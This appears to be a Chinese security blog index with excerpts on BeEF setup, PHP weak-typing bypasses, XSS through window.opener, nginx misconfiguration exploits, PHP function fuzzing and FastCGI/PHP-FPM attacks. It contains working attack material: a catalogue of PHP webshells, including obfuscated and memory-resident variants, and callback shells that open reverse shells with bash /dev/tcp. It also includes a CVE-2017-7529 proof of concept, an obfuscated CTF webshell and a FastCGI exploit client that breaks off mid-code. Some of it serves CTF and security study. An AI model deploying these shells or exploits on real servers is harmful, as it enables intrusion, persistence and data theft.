beef简单的使用

基础配置

先修改配置文件

1
/usr/share/beef-xss/config.yaml

修改ip地址为kali的ip地址

1
2
3
4
5
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "192.168.110.140"
port: "3000"
阅读全文

类型转换总结

变量转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(string)TRUE //returns "1"
(string)FALSE //returns ""

echo TRUE; //prints "1"
echo FALSE; //prints nothing!

$string='12345.678';
$boolean=!!$string; //prints bool(true)

var_dump($val = "0" + "123"); //prints int(123)

$arr = array();
var_dump($arr>"zzz"); //prints bool(true)

var_dump('0e123'=='0e456');

//指数转整数
var_dump((int)6e6); //int(6000000)
var_dump((int)'6e6'); //int(6)

归纳一下

true对于1 flase对应0

string对应bool的true(除了”0”和空字符串,其余全都是true)

字符串进行相加减能够得到整数 再利用一个chr就能够拿到字符,然后就可以写shell

数组永远比字符串大

0e开头后面全是数字的字符串会被当作科学计数法 0的多少次幂 都是0

危险函数

intval floatval

获取变量的整数值

语法

1
intval ( mixed $var [, int $base = 10 ] ) : int

通过使用指定的进制 base 转换(默认是十进制),返回变量 varinteger 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数

1
2
3
4
5
6
7
8
var 要转换成整数的值

base 转换所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

返回值

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。字符串的返回值不确定,遵守字符串转整数规则

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

demo

遇到无法解析的字符时,就返回 其实就是一个字符串转整数

1
2
3
4
5
6
7
8
9
10
intval('1')  ==>1
floatval('1') ==>1
<====分界线====>
intval('0x1')==>0 //0x1被判断为字符串
intval(null)==>0
intval('0x2222')==>0 //同样被判断为字符串
intval('0x2222'+1)==>8739 //这里先是一个表达式的计算,把返回结果给了 intval函数

floatval('1/2') ==>1 // /被判断为非法字符
floatval('1 2') ==>1

md5

0e弱比较绕过 数组绕过

in_array

在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) , 如果 strict 参数没有提供,那么 in_array 就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strict 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。

1
2
3
4
5
<?php
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
?>

switch

如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型

1
2
3
4
5
6
7
8
9
10
<?php
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3: echo "i is 3";}
?>

is_numric

判断是否为数字,不仅仅是十进制数字,利用弱类型,将数字后面加上空格或者任意一个字符即可绕过。 is_numeric 检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’ 等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,而是返回 false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a = '1';
$b = '1a';
$c = '1 ';
var_dump(is_numeric($a));//true
var_dump(is_numeric($b));//false
var_dump(is_numeric($c));//false
echo is_numeric(233333); // 1
echo is_numeric('233333'); // 1
echo is_numeric(0x233333); // 1
echo is_numeric('0x233333'); // 1
echo is_numeric('9e9'); // 1
echo is_numeric('233333abc'); // 0
var_dump(is_numeric("\01")); // false
var_dump(is_numeric(" 1")); // true
var_dump(is_numeric("\t1")); // true
var_dump(is_numeric("\f1")); // true
var_dump(is_numeric("\f\f1")); // true
var_dump(is_numeric("1\f")); // false
?>

补充

16进制绕过

1
2
0xccccccccc == 54975581388
3735929054==deadc0de;

strstr

查找字符串的首次出现 大小写敏感

1
2
3
4
<?php
var_dump(strstr('phpinfo','PHP'));
//输出
bool(false)

strcmp

strcmp() 函数在 PHP 官方手册中的描述是 int strcmp ( string $str1 , string $str2 ),需要给 strcmp() 传递 2 个 string 类型的参数。如果 str1 小于 str2,返回 -1,相等返回 0,否则返回 1。strcmp() 函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。 并且区分大小写

传入非字符串(和版本有关)

1
2
3
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

strpos

查找字符串首次出现的位置,返回结果和弱比较一起使用就会出现问题,字符串的索引位置从0开始,

1
2
3
4
5
6
7
<?php
$mystring = 'abc';
$findme = 'a';
$pos = strpos($mystring, $findme);
if($pos!=flase){
echo "success"
}

二次编码绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
$x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;

chr

chr()会自动对参数进行256取余

ord

上面这两个函数,默认取第一个字符进行处理

数组绕过

数组可以绕过很多用来判断字符串的函数

strlen() 5.2版本

strcmp()

preg_match()

可变变量

见可变变量学习

评论和共享

xss传染

子页面 父页面相互修改

window.open window.opener

父页面修改子页面用到window.open

语法

1
2
3
4
5
6
let windowObjectReference = window.open(strUrl, strWindowName, [strWindowFeatures]);

参数介绍
strUrl 要在新打开的窗口中,加载的url
strWindowName 新窗口的名称
这两个是必选的参数,后面一个是可选 不说了

使用

1
2
3
4
<script>
var target_page=window.open("parent-call.html","");
target_page.document.write('我被亲爹重写了');
</script>

子页面修改父页面 window.opener

返回打开当前窗口的那个窗口的引用.

如果当前窗口是由另一个窗口打开的, window.opener保留了那个窗口的引用. 如果当前窗口不是由其他窗口打开的, 则该属性返回 null.

语法

1
var objRef = window.opener;

使用

这里要先判断一下,父页面是否存在

1
2
3
4
5
6
7
8
9
<script>
if(window.opener){
window.opener.document.write("我是坏蛋儿子,我把亲爹重写了");
}
else{
alert('我没有亲爹');
}

</script>

iframe子父页面修改

修改父页面window.parent

语法

1
var parentWindow = window.parent;

使用

1
2
3
<script>
window.parent.document.write("我是坏孩子,我修改了亲爹")
</script>

修改子页面window.frames

返回当前窗口,一个类数组对象,列出了当前窗口的所有直接子窗口

语法

1
frameList = window.frames;

frameList是一个frame对象的集合,它类似一个数组,有length属性且可以使用索引([i])来访问。

使用

1
2
3
<script>
window.frames['change_by_father'].contentWindow.document.write('来自父页面的修改') //change_by_father为frame的ID
</script>

修改子页面的时候,需要注意的一点是iframe的document并不直接属于当前frame,而是属于contentWindow。

demo http://127.0.0.1/test/xss-test/xss-test/

参考链接

https://www.cnblogs.com/kuoaidebb/p/4420202.html

评论和共享

nginx漏洞6例

CRLF漏洞

错误配置

1
2
3
location / {
return 302 https://$host$uri;
}

请求头

1
GET /%0a%0d%0a%0d<script>alert(1)</script> HTTP/1.1

响应头

1
2
3
4
Location: https://14.28.29.24/


<script>alert(1)</script>

没有弹窗,不知道为啥 按理来说应该能够弹窗的

目录穿越

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

配置错误示例

1
2
3
location /files {
alias /home/;
}

正确配置

1
2
3
location /files/ {
alias /home/;
}

测试

1
http://vps_ip:port/files../

这样就可以访问到根目录

image

add_header

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。

1
2
3
4
5
6
7
8
9
10
11
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}

/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:

测试

请求头

1
GET /test2 HTTP/1.1

响应头

1
2
3
Connection: close
ETag: "5d7eea55-92"
X-Content-Type-Options: nosniff

image

解析漏洞

这个漏洞与nginx php无关,是配置不当导致的

先把主机上的nginx stop

正常情况

1
http://ip/uploadfiles/nginx.png

看到一张图片

解析php文件

1
http://ip/uploadfiles/nginx.png/.php

这时nginx会把图片当作php文件解析

文件名逻辑漏洞

后台配置

1
2
3
4
5
6
7
8
9
location ~ \.php$ {
root html;
include fastcgi_params;

fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}

nginx会把.php结尾的文件发给fastcgi解析,如果请求这样一个文件,1.gif%20%00.php(%00起到截断的作用) 这样也能够通过.php$的判断,但是进入location后,nginx却认为文件名是 1.gif%20 ,并设置为SCRIPT_FILENAME的值,发送给fastcgi,fastcgi就会把1.gif%20当作php文件解析

测试1

eval.png

1
2
3
<?php
eval($_POST['shell']);
?>

先传一个以空格结尾的文件eval.png 上传的不需要截断,访问在截断

访问eval.png[0x20][0x00].php

image

测试2

绕过本地登陆限制

某些网站限制后台访问ip

1
2
3
4
location /admin/ {
allow 127.0.0.1;
deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫test:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

越界读取缓存

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

1
2
3
4
5
6
7
8
[[email protected] CVE-2017-7529]# python3 poc.py http://192.168.110.140:8080/

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

SÉ™]b`RYûÆ™]r«\me"59526062-264"
KEY: http://127.0.0.1:8081/ //缓存文件

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

一道ctf练手

修改cookie中的islogin=1 登陆,再点击管理页面时,看到url变成了

1
admin/admin.php?file=index&ext=php

修改url 这里../被过滤

1
http://111.198.29.45:33136/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=conf

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;
}

重点在这里

1
2
3
4
location /web-img {
alias /images/;
autoindex on;
}

web-img后面少了一个/ 目录穿越

访问

1
http://111.198.29.45:33136/web-img../

跳转到了根目录,在/var/www/html目录下 找到了 hack.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='[email protected]$r[|U"HTTP_R|UEFERER|U"];$r|U|[email protected]$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|[email protected]_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|[email protected]|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

看样子像一个混淆了的小马

参考链接

https://vulhub.org/#/environments/nginx/CVE-2017-7529/

https://www.freebuf.com/articles/terminal/140402.html

评论和共享

fuzz

get_defined_functions

获取已定义函数,返回一个数组 ,包括用户定义函数和内置函数,内置函数通过$arr[‘internal’]获取,用户定义函数通过$arr[‘user’]获取

fuzz正则

fuzz脚本

1
2
3
4
5
6
7
8
9
10
<?php
$arr=get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if(preg_match('/[0-9]/i', $value)){
continue;
}
var_dump($value);
echo "<br>";
}
?>

这里限制函数名中不含有数字0-9

隐藏webshell

通过索引调用system等函数,写shell

1
2
3
4
5
6
7
8
9
$arr=get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if (preg_match('/system/i', $value)) {
var_dump(array_search($value, $arr));
}
}
var_dump($arr[355]);

//输出system

get_declared_classes

获取已定义的类,返回由已定义类的名字所组成的数组

获取已定义类的已定义方法

1
2
3
4
5
6
7
8
9
10
<?php
$arr=get_declared_classes();
foreach ($arr as $key => $value) {
#echo $value."<br>";
$value_func=get_class_methods($value);
echo $value;
var_dump($value_func);
echo "<br>";
}
?>

获取指定类的指定方法

1
2
3
4
5
6
7
8
9
10
11
<?php
$arr=get_declared_classes();
foreach ($arr as $key => $value) {
$value_func=get_class_methods($value);
if (in_array('call', $value_func)) {
echo $value."-->";
var_dump($value_func);
echo "<br>";
}
}
?>

动态声明类

类也可以利用动态变量的特性去声明

1
2
3
4
5
6
7
8
<?php
class test{

}
$a='test';
$b=new $a;
var_dump($b);
?>

fuzz异或

脚本1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$start='_GET';
$i=0;
$c='';
$str_1='';
$str_2='';
for ($k=0; $k <strlen($start) ; $k++) {
for ($i=0; $i < 256; $i++) {
for ($j=1; $j < 256; $j++) {
if ($start[$k]==chr($j^$i)) {
/* $str_1 .= "%".(string)dechex($i);
$str_2 .= "%".(string)dechex($j);*/
$str_1 .= urlencode(chr($i));
$str_2 .= urlencode(chr($j));
break;
}
break;
}
}
}
echo $str_1."<br>";
echo $str_2;
?>

脚本2

1
2
3
4
5
6
<?php
$_ = $_GET['a'] ^ $_GET['b'];
print(urlencode($_));

//测试
?a=_GET&b=%ff%ff%ff%ff

评论和共享

webshell

直接使用eval

1
<?php @eval($_POST[shell]);?>

字符替换

替换一

替换参数

1
<?php $s=$_POST['shell']; @eval("$s;");?>

替换二

替换函数

1
<?php $s=str_replace('x','','exxvxxaxxl'); @$s($_POST[shell]);?>

替换三

替换函数进阶
1
<?php @$_GET[func]($_POST[code]);?>
截断替换
1
<?php $s=substr('helloworldeval',10);@$s($_POST[shell]);?>

替换四

通过索引取md5值中的字符,再加上chr转换构造出assert

1
2
3
4
5
<?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>

编码构造

base64() :使用base64对数据进行编码

gzdeflate() :对数据进行Deflate压缩,gzinflate()解压缩

str_rot13() :对字符串执行 ROT13 转换

bae64编码

参数编码

1
<?php @base64_decode($_GET['a'])($_GET[b]);?>
1
eval(gzinflate(base64_decode($code)));

文件包含型后门

include

include可以解析php,不管文件的后缀是什么样的

1
2
$filename=$_GET['code']; 
include ($filename);

可以上传一个txt后缀格式的文件,包含一下

include进阶

php有一个特性,接受上传的临时文件,在这个请求结束后,会把临时文件删除,所以必须在上传文件的请求包内,调用webshell

tshell.php

1
2
3
<?php
include($_FILES["file"]["tmp_name"]);
?>

exp.py

1
2
3
4
5
6
7
# -*- coding: utf-8 -*-
import requests
url = "http://127.0.0.1/tshell.php?c=system('id');"
files = {'file': ('filename.php', '<?php eval($_REQUEST[c]);?>', 'image/jpeg')}
response = requests.post(url, files=files)
content = response.content
print content

包含请求头

1
<?php system($_SERVER['HTTP_USER_AGENT']);?>

通过user_agent传参

内存驻留马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>

create_function()

回调函数

ob_start

1
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>

header_register_callback

1
2
<?php function a() {exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}header_register_callback('a');?>
<?php function a() {$_GET[c]($_GET[d]);}header_register_callback('a');?>

filter_input

1
2
3
4
5
# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php function a($value){ exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php function a($c){$c($_GET['d']);}filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));?>

类似的函数还有

1
2
3
filter_var() - Filters a variable with a specified filter
filter_input_array() - Gets external variables and optionally filters them
filter_var_array() - Gets multiple variables and optionally filters them

stream_wrapper_register

1
2
3
4
5
6
7
8
9
10
<?php
class A{
function __construct(){
phpinfo();
// $_GET[c]($_GET[d]);
}
}
stream_wrapper_register("st", "A");
$fp = fopen("st://","r");
?>

参考链接

https://www.anquanke.com/post/id/85083

https://www.jianshu.com/p/13cb1d8d0441

评论和共享

php可变变量

可变变量就是说,一个变量的变量名可以动态的设置和使用。有两个特例 超全局变量和$this

阅读全文

php-fpm&&cgi

FPM

先看一下fpm是什么

浏览器和服务器中间件之间用的是http协议

服务器中间件和后端语言之间用的就是fastcgi协议,而FPM就是fastcgi协议的一个协议解析器,nginx等中间件将用户请求,按照fastcgi协议打包好,通过tcp发给FPM

FPM未授权访问漏洞

fpm默认开启9000端口,如果这个端口暴露在公网上,那么就可以自己构造fastcgi协议和fpm通信。

利用

fpm中的一个配置选项,规定了那些文件可以被fpm执行

1
security.limit_extensions

默认是*.php

所以就要先找到一个php文件,文件内容不重要,因为fpm中还可以设置

1
2
auto_prepend_file //在文件加载前 包含指定文件
auto_append_file //在文件加载后 包含指定文件

这两个选项经常在.htaccess 还有.user.ini中用到

更改配置项

把auto_prepend_file改为auto_prepend_file=php://input 就可以在文件加载前去执行post数据流,当然还要把

1
allow_url_include

这个选项打开

fpm中有两个环境变量

PHP_VALUE

PHP_ADMIN_VALUE

PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

代码执行

1
2
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

绕过open_basedir

1
2
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

看一下脚本的执行结果

1
2
3
PS python3 .\fpm.py 192.168.110.140 /usr/local/lib/php/PEAR.php -c '<?php echo `cat /etc/passwd`;exit;?>'
X-Powered-By: PHP/7.3.9
Content-type: text/html; charset=UTF-8

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
